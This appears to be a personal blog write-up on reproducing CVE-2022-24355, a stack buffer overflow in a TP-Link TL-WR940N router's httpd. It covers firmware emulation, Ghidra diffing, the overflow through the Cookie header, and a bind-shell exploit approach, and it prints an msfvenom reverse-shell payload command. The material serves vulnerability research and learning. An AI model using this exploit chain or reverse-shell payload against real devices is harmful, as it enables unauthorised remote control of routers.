[Debug/Exploit CVE-2022-24355] TP-Link TL-WR940N Stack-based Buffer Overflow

( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )
(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)



We will try to debug and exploit CVE-2022-24355, i wanna thank my friend Sameh (s4muii) for his help through this exploit.

It was a little bit hard because this is my first time with MIPS.

The Exploit on GitHub.

About the Bug

TP-Link TL-WR940N router's firmware before v5_211111 is vulnerable to Stack Overflow, the vulnerability in "httpd" binary in function "httpRpmFs" and we can know that from ZDI report (https://www.zerodayinitiative.com/advisories/ZDI-22-265/) we will try to reproduce this finding in firmware "v4_160617" which will be emulated in our device because we do not have the router itself.

Emulation

let's start with running the firmware in our system i tried to use my docker image to host it but i faced some issues so i decided to emulate it using Linux OS using the tool "firmadyne" which emulate and extracts file systems from the firmware and have some other scripts to be used, followin its instructions you will be able to intall it and setup the environment and start it on the firmware that you want to analysis and emualte.

i faced some issues with installing and setup the environment and these are some links maybe will help you if you faces same issues:

  • issue of "squashfs" with [link].
  • issue for "makeImage.sh" script using this [link].
  • "kernel panic" I just removed the scratch file and reused the firmware commands again
  • open database using "sudo -i -u postgres" to switch user and then use "psql"
  • this issue helped us to know how we can access the router and how we can send files to the firmware: [link]
after that i followed the usage instructions and it works, make sure to run the commands when you are in the tool direcotry

the "run.sh" command will start QEMU and run the firmware.
if you wanna add some files to the firmware to use it you can use script "./scripts/mount.sh <firmware_num>" and it will be in "./scratch/1/image/" You can add what you want or edit what you want and unmount it using "./scripts/umount.sh <firmware_num>" we can use this method to send a mips gdbserver to the firmware file system to use it in debugging section we can download this gdbserver from GitHub.

The following screenshots show the output of commands and the running of the emulated firmware.




the following screenshots show the root password and use of mount and umount scripts

    





now we know the root password and we added our gdbserver to the firmware now let's try to login



note that when you run the firmware you have to wait until the "(none)" word before "login" changed and becomes "TL-WR940N, the IP of the router will be "192.168.0.1" Try to call it using "curl" If you faced an issue with that you can solve it using these commands from this issue in GitHub [link].

to disable the ASLR which is normal in the real environment you have to modify the "run.sh" file and add "norandmaps" to the QEMU command


Now you can open the router on your browser and change the password of admin normally.

Firmware Analysis

loading both firmware v4(vuln) and v5(fixed) in our Ghidra project and searching for the vulnerable function "httpRpmFs" and see its references and which functions are calling it


if you try to call the router you will be redirected to a forbidden page 



we have to send the same hostname in the "Referer" header to pass this condition.

The following screenshots show the different between fixed function and vulnerable one

Vulnerable

Fixed

Modified vuln function

for condition of vuln function (VULN)

the following screenshot shows the conditions the new part "i != 6" is limiting the copying process until 6 chars.


I asked a friend "ChatGPT" to analyze the functions "httpRpmFs" and "FUN_00506790"






with some dynamic analysis, we can get the crashpoint after calling "/loginFs/<FileName>" the filename from "/tmp" and we will use "passwd" which is a file in the tmp directory by default in the router.

This function copping the value from the HTTP request to compare it with the list of extensions which is allowed but what happen if we did not give it a file with extension? it will copy and copy until it reach a null byte so it will overwrite on the stack because there is no check in the copied size it.

Dynamic Analysis

sending HTTP request to "/loignFs/passwd" with a lot of "A"'s in the cookies will cause a crash because we will overwrite the return address which it is in addr "0x7cfffa90".




there is no security controls on the binary so we will write a shellcode into the stack and jump to it.


Note that in the analysis part we find that there is a "toupper" function called and our input passed to it so any value between "a -> z" will be modified to "A -> Z" and this will cause issue to us in the shell code bytes we have a list of bad chars "\x00\x0d\x0a" and "a->z".

after trying my approach (failed), i got an awesome idea from my friend Sameh (@S4muii) which is send a shellcode that reads an input from us and jump to this input so we can send our shellcode with bad cahrs, and the real shellcode (shellcrat.bindsh) from pwntools and we will pass a port that we will interact with.

if we run our (exploit script) we will get our shell on the router ;-). (note that it tested in emulated environment)


if there is a comment or a better way to do it contact with me (@flex0geek) let's learn new staff.

Failed Scenario

Note: This approach did not work with me.


i created a shellcode using "msfveom" 
msfvenom -p linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.0.2 X

and passed the shellcode bytes to pwntools encoder

if we disassemble the encoded shellcode we will find in second instruction there is a bad cahr "0x70" because of using register "$t9"


so why we can not change this register and i used "$t1" and it was a hint from a writeup i red before (but i could not continue with this), so it works with me and we have a clear shellcode


if we send this shellcode the process "httpd" will be changed to "[sh]" pid "3166" in the following screenshot



i faced an issue when i tried to send commands an receive the output. 


عن أبي هريرة رضي الله عنه عن رسول الله صلى الله عليه وسلم قال: "كَلِمَتَانِ خفيفتان على اللسان، ثقيلتان في الميزان، حبيبتان إلى الرحمن: سبحان الله وبحمده، سبحان الله العظيم".

Comments

Popular posts from this blog

[BlackHatMEA-CTF 2024] cockatoo PWN challenge

[WEB] ASC Wargame CTF 2024 - Challenge Hot Proxy

Lets Analysis STM32F103 Chip Firmware from Attify